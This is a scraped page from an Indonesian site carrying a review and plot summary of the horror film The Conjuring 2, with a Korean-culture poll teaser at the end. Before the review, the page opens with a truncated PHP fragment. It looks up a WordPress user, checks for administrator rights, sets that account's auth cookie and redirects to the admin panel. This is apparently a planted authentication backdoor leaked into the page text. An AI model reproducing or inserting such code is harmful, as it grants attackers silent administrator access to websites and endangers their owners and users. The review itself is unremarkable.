user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Reviews
The Conjuring 2: Antara Teror dan Kejujuran yang Direkayasa

10 Jun 2016


Dok : Warner Bros

Mengingat bagaimana Ed (Patrick Wilson) dan  Lorraine Warren (Vera Farmiga) harus menghadapi penyihir jahat Batsheba dalam film The Conjuring pertama saja masih berhasil membuat para penikmatnya bergidik. Apa kabarnya dalam kisah lanjutan yang masih disutradarai oleh James Wan? Bersiaplah dengan semua kejutan, paranoia, hingga teror yang akan terus-terusan menghantui Anda. Dan ingat, bagi Anda yang penakut, pastikan untuk tidak nonton sendiri, yah!

Ketika pasangan Warren tengah sibuk menguak kasus pembunuhan satu keluarga paling menggemparkan, Amytville, dari perspektif seorang paranormal, sebuah single mother dengan empat anaknya di London Utara, Inggris, berjibaku dengan ketakutan mereka terhadap ancaman hantu kakek tua di rumah baru mereka.

Keluarga Hodgson itu diganggu penghuni lama yang tak suka keberadaan mereka di rumah tersebut, yang awalnya hanya mengganggu Janet Hodgson (Madison Wolfe). Namun kemudian, si kakek tua yang mengaku bernama Billy Wilkins kian berani menunjukkan gangguan-gangguannya. Kursi yang tergeser di depan mata semua orang, kasur yang bergetar keras, hingga suara keras yang berasal dari loteng. Bahkan Janet, tak jarang dirasuki oleh si tua Billy, untuk menyampaikan kekesalannya pada orang-orang yang berada di rumahnya.

Advertisement
Kasus ini, kemudian diketahui media lokal. Khalayak ramai tak henti-hentinya berbagi cerita tentang rumah berhantu kakek tua tersebut, dan menjadi sampul media cetak setempat. Bahkan masyarakat menyebut kasus ini sebagai ‘London Amityville’. Namun, beberapa pihak meragukan kejujuran keluarga Hodgson dalam kasus berhantu ini. Sebagian masyarakat menilai bahwa tingkah Janet saat dirasuki atau suara-suara aneh yang keluar dari mulutnya hanyalah akting belaka.

Namun, merasa ini adalah kasus yang cukup serius dan untuk membuktikan kebenarannya, perwakilan gereja di London meminta bantuan pasangan Warren untuk menyelidiki kasus ini lebih jauh. Juga memastikan bahwa keluarga Hodgson tidak mencari keuntungan di balik atensi masif masyarakat dan media yang memenuhi rumahnya.

Walau diselimuti keengganan untuk mengatasi kasus tersebut karena merasakan naluri buruk, pasangan Warren memutuskan untuk tetap terbang ke London Utara demi membantu keluarga Hodgson.  Di satu sisi, Ed merasa gangguan si tua Billy pada Janet adalah sesuatu yang serius, sementara Lorraine justru tak merasakan keberadaan atmosfer hantu jahat ataupun sesuatu yang ganjil.

Namun, tanpa disadari oleh kedua pasangan cenayang terkenal tersebut, ada kekuatan jahat yang sangat kuat hadir di tengah-tengah mereka. Lebih dari sekadar menghantui atau berusaha mengusir keluarga Hodgson dari rumah tersebut, ancaman jiwa pun membayang-bayangi semua orang yang berusaha ikut campur dalam urusan tersebut. Akankah mereka selamat? (f)

 


Topic

#filmhoror

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?